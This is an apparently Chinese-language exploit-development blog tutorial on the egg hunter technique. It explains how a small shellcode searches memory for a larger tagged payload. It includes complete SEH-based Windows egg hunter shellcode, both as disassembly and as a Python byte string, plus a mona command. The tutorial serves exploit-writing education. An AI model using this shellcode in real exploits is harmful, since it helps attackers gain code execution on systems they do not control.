shellcode开发-Egg Hunter
ssooking Lv5

简介

Egg hunter是一种shellcode利用技术,它可以归类到Staged shellcode中,即分段执行shellcode。当劫持了程序的执行流程,但是缓冲区太小而无法存储攻击载荷时,可以使用这种技术。Egg hunter的思想是:把较大的shellcode放到内存的其他足够空间里,然后在易受攻击但空间较小的缓冲区内,只存放一段小shellcode执行。这个小shellcode的功能是搜索并执行内存中的大shellcode。这就类似于Web安全中利用小马上传大马。

在这个过程中,有两个重要的角色:

  • Hunter:一段shellcode代码,用于从内存中搜索大shellcode位置,执行大shellcode
  • Egg:一个特殊的字符串标志,在搜索时能够让我们定位大shellcode的位置。

Egg的值通常由一个4位的字符串Tag拼接两次而来。比如Tag为ssoo,则Egg就是ssoossoo,这样标记足够独特,避免搜索时搜到的是其他内存中的数据。在开发shellcode时,我们设置Tag就行。

但是如何从内存中搜索呢?想深入了解原理可以读一下这篇文章《Safetly Searching Process Virtual Address Space》。内存扫描时,会从内存0x00处通过递增地址依次访问内存,当出现无法访问的地址时会由一些判断逻辑或者策略进行处理,防止程序崩溃。操作系统提供了一些系统调用,用来判断内存区域是否有效,如果遇到无效的内存地址,大多数系统调用会返回EFAULT。常见系统调用:

  • Linux:access(2) 、access(2) revisited、sigaction(2)
  • Windows:IsBadReadPtr、NtDisplayString、NTAccessCheckAndAuditAlarm、SEH

egg hunter流程图如下所示:

2020127125023

egghunter利用条件

(1)覆盖EIP之前的缓冲区空间也位于内存中的某个位置,并且

(2)缓冲区段也可能存储在完全不同的内存区域中。如果其他缓冲区空间近在咫尺,您可以通过“跳转到偏移量”到达那里

(3)搜索标记

hunter代码也可能会出现坏字符,需要注意

各种类型的egghunter的大小情况如下:

Linux access(2) sigaction(2) access(2) revisited
Size 39 30 35
Windows IsBadReadPtr NtDisplayString NTAccessCheckAndAuditAlarm SEH
Size 37 32 32 60

SEH egghunter

SEH (Structured Exception Handling) ,结构化异常处理,使用SEH时如果程序抛出异常,可以响应或消除该异常。在egg hunter中,可以使用SEH来处理访问到非法地址时的异常。下面就用SEH方式来实现egg hunter。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
EB21       					jmp short 0x23
59 pop ecx
B873736f6f mov eax,0x73736f6f ; tag ssoo 73736f6f
51 push ecx
6AFF push byte -0x1
33DB xor ebx,ebx
648923 mov [fs:ebx],esp
6A02 push byte +0x2
59 pop ecx
8BFB mov edi,ebx
F3AF repe scasd
7507 jnz 0x20
FFE7 jmp edi
6681CBFF0F or bx,0xfff
43 inc ebx
EBED jmp short 0x10
E8DAFFFFFF call 0x2
6A0C push byte +0xc
59 pop ecx
8B040C mov eax,[esp+ecx]
B1B8 mov cl,0xb8
83040806 add dword [eax+ecx],byte +0x6
58 pop eax
83C410 add esp,byte+0x10
50 push eax
33C0 xor eax,eax
C3 ret

hunter

1
2
3
4
5
6
7
8
hunter = (
"\xeb\x21\x59\xb8"
"ssoo" #tag ssoo => \x73\x73\x6F\x6F
"\x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb"
"\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb"
"\xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1"
"\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3"
)

SEH实现的egghunter中,hunter的大小为60字节。

1
!mona egg -t w00t

egghunter问题

遇到坏字符怎么办?

https://www.fuzzysecurity.com/tutorials/expDev/4.html

https://armoredcode.com/blog/a-closer-look-to-msf-egghunter/

Reference

https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/

https://www.zzz4ck.com/blog/2019/06/30/egg_hunter_SEH/

https://www.fuzzysecurity.com/tutorials/expDev/4.html

  • Post title:shellcode开发-Egg Hunter
  • Post author:ssooking
  • Create time:2020-01-26 21:26:00
  • Post link:https://ssooking.github.io/2020/01/shellcode开发-egg-hunter/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.